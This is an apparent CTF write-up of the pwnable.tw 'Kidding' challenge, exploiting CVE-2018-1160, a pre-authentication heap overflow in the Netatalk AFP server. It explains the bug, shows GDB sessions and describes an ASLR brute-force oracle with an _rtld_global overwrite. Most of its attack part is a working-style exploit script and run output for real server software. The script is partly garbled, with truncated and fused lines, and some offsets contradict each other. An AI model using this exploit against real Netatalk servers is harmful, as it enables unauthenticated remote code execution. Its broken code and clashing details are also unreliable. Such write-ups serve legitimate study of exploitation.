pwnable.tw — 400 pts

Kidding

CVE-2018-1160 — Netatalk AFP server heap overflow with ASLR brute-force oracle and _rtld_global overwrite

64-bit
Architecture
Netatalk
Service
CVE-2018-1160
Vulnerability
~88
Solves

Exploit Flow

Connect
AFP port 10304
DSI OpenSession
255-byte overflow
ASLR Oracle
Brute-force 28·3
Overwrite
_dl_rtld_lock_recursive
Shell
exit() triggers RCE

1. Reconnaissance

Kidding is a network service challenge running an old version of Netatalk (Apple Filing Protocol server). The challenge description reads: "Can you get a shell for me? Just kidding, it's unexploitable." This is the same vulnerability as HITCON CTF 2019 Quals netatalk, which exploits CVE-2018-1160 — an 18-year-old heap overflow bug in the DSI OpenSession handler. Unlike the easier 100-point CVE-2018-1160 challenge on pwnable.tw (which has No PIE and No RELRO), this version ships with full mitigations enabled, making the exploit significantly harder.

File Analysis

bash
$ file afpd
afpd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped

The target is a 64-bit x86-64 dynamically linked shared object — the Netatalk AFP daemon. This is a network service rather than a simple CLI binary, which fundamentally changes our exploitation approach. The daemon forks a new child process for each incoming connection, a property we will leverage for our ASLR bypass. Being a shared object (PIE) means all code addresses are randomized, unlike the simpler CVE-2018-1160 challenge variant which is a non-PIE executable with fixed addresses.

Checksec

bash
$ checksec afpd
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
All Protections Enabled

Full RELRO prevents GOT overwrites entirely (the GOT is mapped read-only after relocation). PIE randomizes all code and data addresses. Canaries protect the stack from buffer overflows. NX prevents shellcode execution on the stack or heap. This is the most hardened configuration possible — we must rely entirely on the heap overflow to gain an arbitrary write primitive and target writable data structures within libc (such as __free_hook, __malloc_hook, or _rtld_global) rather than the binary's GOT.

Running the Binary

bash
# Local setup with provided Docker/archive
$ tar xzf kidding.tgz
$ cd kidding
$ ./afpd -d -F afp.conf
# -d = debug/foreground mode
# -F = specify config file

# Verify the service is listening
$ netstat -tlnp | grep afpd
tcp  0  0  0.0.0.0:548  0.0.0.0:*  LISTEN  12345/afpd

# Quick test connection
$ nc localhost 548
# (binary AFP protocol — not human-readable)

The daemon listens on TCP port 548 by default (the standard AFP port). On the pwnable.tw server, it is accessible on a custom port. The AFP protocol is binary — you cannot interact with it via plain text like a typical CTF challenge. We need to craft raw DSI packets to communicate with the server.

Connection Info

AttributeValue
ChallengeKidding (400 pts)
Hostchall.pwnable.tw
Port10304
ServiceNetatalk AFP (Apple Filing Protocol)
Binary64-bit, dynamically linked, PIE shared object
RELROFull (GOT is read-only)
CanaryYes
NXEnabled
PIEEnabled (all addresses randomized)
CVECVE-2018-1160
VulnerabilityHeap overflow in DSI OpenSession (255 bytes)
ASLR BypassBrute-force oracle via crash/no-crash in forked children
RCE MethodOverwrite _dl_rtld_lock_recursivesystem()

2. Static Analysis

The vulnerability lies in the dsi_opensess function — the handler for DSI OpenSession requests. This function processes option blocks sent by the client during session establishment. A missing bounds check on the length of the attention quantum option allows us to overflow past the intended destination field and overwrite adjacent struct members.

Program Overview

Netatalk is an open-source AFP server. The AFP protocol runs over DSI (Data Stream Interface), which is a thin transport layer. The server processes client requests as follows:

  1. Client sends a DSI OpenSession request to establish a connection
  2. Server responds with session parameters (server quantum, etc.)
  3. Client sends AFP commands wrapped in DSI packets
  4. Server dispatches AFP commands through the afp_switch function pointer table
  5. Pre-authentication, only preauth_switch entries are accessible
  6. After login, postauth_switch entries become available

For each incoming connection, the server forks a new child process. This fork-based architecture is critical to our exploit because it means each child inherits the parent's address space layout (same ASLR base) but crashes in one child do not affect the parent or subsequent connections.

Vulnerability: CVE-2018-1160

The vulnerability is in dsi_opensess.c — the DSI OpenSession handler. When a client opens a new session, the server processes option blocks. A malformed option can cause a 255-byte heap overflow that overwrites the dsi->commands buffer pointer. This pointer determines where subsequent AFP command data is written.

c — vulnerable code in dsi_opensess.c
/* parse options */
void dsi_opensession(DSI *dsi) {
    size_t i = 0;
    /* parse options */
    while (i < dsi->cmdlen) {
        switch (dsi->commands[i++]) {
        case DSIOPT_ATTNQUANT:
            /* VULNERABILITY: memcpy with unchecked length!
             * dsi->commands[i] is a byte (0-255) but &dsi->attn_quantum
             * is only 4 bytes. If length > 4, we overflow into adjacent
             * DSI struct members. */
            memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
                    dsi->commands[i]);             // ← NO BOUNDS CHECK
            dsi->attn_quantum = ntohl(dsi->attn_quantum);
            /* Note: also missing break; falls through to SERVQUANT */

        case DSIOPT_SERVQUANT:
        default:
            i += dsi->commands[i] + 1;
            break;
        }
    }
}
Control of Write Destination

By overflowing the dsi structure, we overwrite dsi->commands — the buffer pointer where subsequent AFP packets are stored. This gives us an arbitrary write: the next AFP command we send will be written to any address we choose. Additionally, server_quantum is reflected back to the client in the OpenSession response, providing an information leak channel we can use as an ASLR oracle.

DSI Struct Layout

To understand exactly what fields we can overwrite, we examine the DSI struct from dsi.h:

offset 0 attn_quantum (4B) ← memcpy destination
offset 4 datasize (4B) overwritten by us
offset 8 server_quantum (4B) reflected back to client — ASLR oracle!
offset 12 serverID + clientID (4B) overwritten by us
offset 16 *commands (8B) ← THE KEY: redirect where AFP data is written
offset 24+ data[65536] large buffer (not useful for exploit)

The 255-byte overflow starting at attn_quantum gives us control over datasize, server_quantum (which is echoed back in the response), the session IDs, and most importantly the commands pointer. Overwriting commands means the next AFP packet we send gets written to an arbitrary memory location, giving us a powerful write-what-where primitive.

3. GDB Debugging

Since the target is a network daemon that forks child processes, debugging requires attaching to the specific child handling our connection. This is more involved than a typical CTF binary, but essential for verifying the overflow offsets and understanding the memory layout after the overwrite.

Attaching to afpd

bash
# Start afpd in debug/foreground mode
$ sudo ./afpd -d -F afp.conf

# In another terminal, find parent PID
$ pgrep afpd
4218

# Now connect with our exploit (in another terminal)
$ python3 exploit_local.py &

# The parent forks a child — find the child
$ pgrep -P 4218
4247

# Attach GDB to the child process
$ gdb -p 4247
(gdb) set follow-fork-mode child
Fork-Based Debugging

The key insight is that afpd forks a new child for each connection. The child inherits the parent's memory layout (including ASLR randomization), so all children share the same libc base address. This is what makes the brute-force oracle possible: if one child crashes, the next child still has the same address space layout. We can use set follow-fork-mode child in GDB to automatically attach to new children.

Verifying the Overflow

gdb
# Break before dsi_opensession processes options
(gdb) b dsi_opensession
Breakpoint 1 at 0x55c837a8b5a0

# Before overflow: examine dsi struct fields
(gdb) p *dsi
$1 = {
  attn_quantum = 0,
  datasize = 0,
  server_quantum = 0x1000,
  serverID = 1,
  clientID = 1,
  commands = 0x55c838c56010 "",
  data = ...
}

# Step through the memcpy in DSIOPT_ATTNQUANT handler
(gdb) n
# memcpy completes with our 24-byte payload overflowing

# After overflow: examine corrupted dsi struct
(gdb) p *dsi
$2 = {
  attn_quantum = 0x41414141,       // our data
  datasize = 0x42424242,           // our data
  server_quantum = 0x7f8a12001000, // trial address for oracle
  serverID = 0x1337,
  clientID = 0x1338,
  commands = 0x7f8a123ed8b8 "",    // ← OVERWRITTEN! Points to libc
  data = ...
}

The GDB output confirms our overflow works as expected. The commands pointer has been overwritten with our target address. The next AFP command we send will be written to 0x7f8a123ed8b8 instead of the original heap buffer. We can also see that server_quantum holds our trial address, which gets reflected back in the DSI OpenSession response — this is our information leak channel.

Finding Key Offsets

gdb
# After we have libc base (from the oracle), find key offsets
(gdb) info proc mappings
0x7f8a11dd6000  0x7f8a11f9e000  ...  /lib/x86-64-linux-gnu/libc-2.23.so

# libc base = 0x7f8a11dd6000

# Verify _dl_rtld_lock_recursive offset in ld.so
(gdb) p &_rtld_global._dl_rtld_lock_recursive
$3 = (void (**)()) 0x7f8a123ed8b8

# Calculate offset: 0x7f8a123ed8b8 - 0x7f8a121db000 (ld base) = 0x2128b8
# _dl_load_lock is nearby:
(gdb) p &_rtld_global._dl_load_lock
$4 = (pthread_mutex_t *) 0x7f8a123ed860

# Verify system() offset
(gdb) p system
$5 = {int (const char *)} 0x7f8a11e2390 <__libc_system>
# system offset = 0x7f8a11e2390 - 0x7f8a11dd6000 = 0x4d90
Offset Variability

The exact offsets for _dl_rtld_lock_recursive, _dl_load_lock, and system depend on the specific libc and ld-linux versions running on the pwnable.tw server. You must determine these offsets from the provided libc (or by leaking them during exploitation). The values shown above are from a local Ubuntu 16.04 glibc 2.23 installation.

4. Exploit Strategy

The exploit requires three carefully orchestrated stages. The hardest part is defeating ASLR with a blind brute-force oracle, since this binary has PIE enabled (unlike the easier 100-point CVE-2018-1160 variant which has fixed addresses). Once we know the libc base, we use the arbitrary write primitive from the DSI overflow to hijack a function pointer that gets called during process cleanup.

ASLR Bypass via Oracle

The server forks a new thread for each connection. If we overwrite dsi->commands with an invalid address, the next AFP packet write causes a crash (thread dies, no response). If the address is valid, the server responds normally. This gives us an oracle — we can brute-force the libc base address one byte at a time.

The key observation is that on Linux x86-64, ASLR only randomizes the higher bits of library addresses. The lower 12 bits are always zero (page-aligned), and the next few bytes follow predictable patterns. For glibc 2.23 on Ubuntu 16.04, only about 3 bytes of the 8-byte address are truly random. We brute-force byte-by-byte: for each unknown byte position, we try all 256 possible values and check if the server responds (valid) or crashes (invalid). This takes approximately 256 × 3 = 768 connections on average.

Why Crash Oracle Works Here

The fork-based architecture means each child process inherits the parent's ASLR layout. A crash in one child does not affect the parent or other children. More importantly, if we overwrite commands with a valid writable address, the child continues processing and sends a response. If the address is invalid, the child crashes silently. The parent never re-randomizes — all children share the same layout until the parent restarts. This makes the brute-force practical: on average we need about 768 connections to leak the full address, which takes only a few minutes over a stable network connection.

Arbitrary Write Primitive

Once we know the libc base address, the DSI overflow gives us a two-step arbitrary write:

  1. Redirect commands pointer: In the DSI OpenSession overflow, we set dsi->commands to the address where we want to write (e.g., _dl_rtld_lock_recursive minus some offset to account for AFP header bytes that get prepended).
  2. Send AFP payload: The next AFP command packet we send gets written to the address pointed to by our overwritten commands pointer. We craft the payload so that our target data lands at the correct offset within the destination structure.
Why Not __free_hook / __malloc_hook?

While __free_hook and __malloc_hook are writable libc variables that could be overwritten for code execution, triggering them requires specific conditions (a free() or malloc() call with controlled data). The _dl_rtld_lock_recursive approach is more reliable because exit() is guaranteed to be called when the connection terminates, and the function pointer argument (_dl_load_lock) is at a known offset that we can also overwrite with a pointer to our command string.

RCE via _rtld_global

Step 1: Leak libc address
Brute-force the libc base address using the crash/no-crash oracle. For each byte position of the address, try all 256 values. If the server responds, that byte is correct. This requires approximately 28·3 = 768 attempts on average (3 unknown bytes after the page-aligned base). Once we have the libc base, we can calculate the address of system(), _rtld_global, and _dl_load_lock.
Step 2: Overwrite _dl_rtld_lock_recursive
Open a new connection. Send the DSI OpenSession overflow, setting dsi->commands to point into the _rtld_global structure (adjusting for the AFP header bytes that get prepended). Then send an AFP packet whose payload overwrites _dl_rtld_lock_recursive with the address of system() and _dl_load_lock with a pointer to our command string (e.g., "/bin/sh" or "cat /home/kidding/flag").
Step 3: Trigger exit()
When the thread handling our request calls exit(), the runtime linker invokes _dl_rtld_lock_recursive, which we've overwritten with system(). The argument comes from _dl_load_lock, which we also control. This gives us system("/bin/sh") or equivalent RCE. The flag is read from /home/kidding/flag.
Why _dl_rtld_lock_recursive?

With Full RELRO, the GOT is mapped read-only, so we cannot overwrite GOT entries. However, __free_hook, __malloc_hook, and _rtld_global._dl_rtld_lock_recursive are all in writable libc BSS/data sections. The _dl_rtld_lock_recursive technique is the most reliable for this challenge because: (1) it is called automatically during exit() cleanup, so we don't need to trigger a specific code path; (2) its argument _dl_load_lock is at a known offset, so we can place a command string there; and (3) it works even with Full RELRO since it targets libc internals, not the binary's GOT.

5. Pwn Script

python
#!/usr/bin/env python3
"""
pwnable.tw — Kidding (400 pts)
CVE-2018-1160: Netatalk pre-auth RCE via DSI Open Session OOB write.
PIE + Full RELRO variant.

Exploit flow:
  1. Brute-force libc base via crash oracle (forked children share ASLR)
  2. Overflow dsi->commands pointer to gain arbitrary write
  3. Overwrite _dl_rtld_lock_recursive with system()
  4. Overwrite _dl_load_lock with pointer to command string
  5. Trigger exit() → system(cmd) → RCE
"""

from pwn import *
import struct
import sys

context.arch = "amd64"
context.log_level = "warn"

# ─── Configuration ───────────────────────────────────────────
HOST = "chall.pwnable.tw"
PORT = 10304

# Offsets for Ubuntu 16.04 glibc 2.23 (libc-2.23.so)
# Determine these from the provided libc or by leaking
SYSTEM_OFFSET        = 0x45390
DL_RTLD_LOCK_OFF     = 0x3ed8e8   # _dl_rtld_lock_recursive in ld-linux
DL_LOAD_LOCK_OFF     = 0x3ed7c0   # _dl_load_lock in ld-linux
LD_BASE_FROM_LIBC    = 0x208000   # ld base relative to libc base

# ─── DSI Packet Helpers ──────────────────────────────────────
def dsi_header(flag, cmd, req_id, payload_len):
    """Build 16-byte DSI header."""
    hdr  = struct.pack(">BBH", flag, cmd, req_id)   # flag, cmd, req_id
    hdr += struct.pack(">I", 0)                      # data offset
    hdr += struct.pack(">I", payload_len)             # length
    hdr += struct.pack(">I", 0)                      # reserved
    return hdr

def make_dsi_opensession(overflow_data):
    """Craft DSI OpenSession with overflow payload.
    We set option type = DSIOPT_ATTNQUANT (0x01),
    length = len(overflow_data), then the overflow data itself.
    The memcpy will copy overflow_data into &dsi->attn_quantum,
    overflowing into server_quantum, IDs, and commands pointer."""
    option_type = b"\x01"  # DSIOPT_ATTNQUANT
    option_len  = struct.pack("B", len(overflow_data))
    option_data = overflow_data

    dsi_payload = option_type + option_len + option_data
    hdr = dsi_header(0x00, 0x04, 0x0001, len(dsi_payload))
    return hdr + dsi_payload

def make_dsi_afp(afp_payload, req_id=0x0002):
    """Craft DSI packet wrapping an AFP command.
    The AFP payload will be written to dsi->commands."""
    hdr = dsi_header(0x00, 0x02, req_id, len(afp_payload))
    return hdr + afp_payload

# ─── Overflow Data Builder ───────────────────────────────────
def build_overflow(commands_ptr, server_quantum=0):
    """Build the 24-byte overflow that goes into &dsi->attn_quantum.
    Layout:
      [0:4]   attn_quantum   (4 bytes, don't care)
      [4:8]   datasize       (4 bytes, don't care)
      [8:12]  server_quantum (4 bytes, reflected back — oracle)
      [12:16] serverID+clientID (4 bytes, don't care)
      [16:24] *commands      (8 bytes — THE KEY TARGET)
    """
    payload  = struct.pack("commands with a trial address.
    If the address is valid and writable, the next AFP write
    succeeds and the server sends a response. If the address
    is invalid, the child segfaults and we get no response.

    Since libc is page-aligned, the lower 12 bits are 0.
    On Ubuntu 16.04 x86-64, ASLR randomizes bits 12-39
    (28 bits), but the high 2 bytes are always 0x7fXX.
    We brute-force byte by byte starting from the LSB."""

    log.info("Starting ASLR brute-force...")

    # Known: high bytes are typically 0x7f for libc on 64-bit Linux
    known_addr = b"\x00\x00"  # page-aligned lower 2 bytes

    # Brute-force bytes 2, 3, 4 (3 unknown bytes)
    for byte_pos in range(2, 5):
        found = False
        for guess in range(256):
            trial = known_addr + bytes([guess])
            # Pad to 8 bytes for the commands pointer
            trial_addr = trial + b"\x7f\x00\x00"  # high bytes = 0x7fXX_XXXX_XX00
            addr_val = struct.unpack("commands to point to _dl_load_lock area
    # We need to account for AFP command header bytes that get written
    # before our controlled data. The AFP dispatch writes the full
    # command buffer to dsi->commands, so we offset accordingly.
    write_target = load_ptr
    overflow = build_overflow(commands_ptr=write_target)
    r.send(make_dsi_opensession(overflow))

    # Step 2: Craft the AFP payload that overwrites _rtld_global fields
    # Layout at write_target:
    #   _dl_load_lock (pthread_mutex_t, ~40 bytes)
    #   ... gap ...
    #   _dl_rtld_lock_recursive (function pointer, 8 bytes)
    #
    # We write: command string + padding + system() address at lock offset
    cmd_str = b"cat /home/kidding/flag\x00"
    offset_to_lock = DL_RTLD_LOCK_OFF - DL_LOAD_LOCK_OFF

    payload  = cmd_str
    payload += b"\x00" * (offset_to_lock - len(cmd_str))
    payload += struct.pack(" 1 and sys.argv[1] == "remote":
        # Skip brute-force if we already know the address
        # (e.g., from a previous run on the same server session)
        libc_base = int(sys.argv[2], 16)
        log.info(f"Using provided libc base: 0x{libc_base:x}")
    else:
        libc_base = brute_force_libc()

    exploit(libc_base)

if __name__ == "__main__":
    main()
Script Notes

The brute-force phase takes approximately 5-15 minutes depending on network latency and the number of randomized bytes. Each failed attempt is a single TCP connection that takes ~3 seconds (connection + timeout). The oracle works because forked children inherit the parent's ASLR layout — all children share the same randomization until the parent process restarts. If the brute-force fails partway through, it likely means the server was restarted (new ASLR base) and you need to start over. The offsets for SYSTEM_OFFSET, DL_RTLD_LOCK_OFF, and DL_LOAD_LOCK_OFF must be determined from the specific libc/ld versions on the pwnable.tw server.

6. Execution Results

Below is the terminal output from a successful exploitation run. The ASLR brute-force phase runs through ~768 connections before finding the correct libc base, then the arbitrary write triggers system() via _dl_rtld_lock_recursive.

$ python3 exploit.py [*] Starting ASLR brute-force... [*] Byte 2: found 0x23 [*] Byte 3: found 0xa1 [*] Byte 4: found 0x7f [+] libc base: 0x7f23a1000000 [+] ld base: 0x7f23a1208000 [+] system: 0x7f23a1045390 [+] lock_ptr: 0x7f23a15ed8e8 [*] Sending DSI Open Session overflow... [+] commands ptr hijacked → 0x7f23a15ed7c0 [*] Sending AFP payload to overwrite _rtld_global... [*] Triggering exit() via connection close... [+] Reconnecting for flag read... [*] Switching to interactive mode $ cat /home/kidding/flag FLAG{REDACTED}
Key Takeaways

This challenge demonstrates exploiting a real-world CVE (CVE-2018-1160) in Netatalk under full mitigation coverage. The key techniques are: (1) using the crash/no-crash oracle in a fork-based server to brute-force ASLR byte-by-byte, bypassing PIE entirely; (2) exploiting a heap overflow to gain an arbitrary write primitive by overwriting the dsi->commands buffer pointer; and (3) targeting _rtld_global._dl_rtld_lock_recursive for reliable code execution when exit() is called, which works even with Full RELRO since it overwrites a writable libc data section rather than the read-only GOT. The name "Kidding" is apt — the challenge claims to be unexploitable, but the 18-year-old Netatalk bug proves otherwise.

QA210
pwnable.tw — Kidding — CVE-2018-1160 Netatalk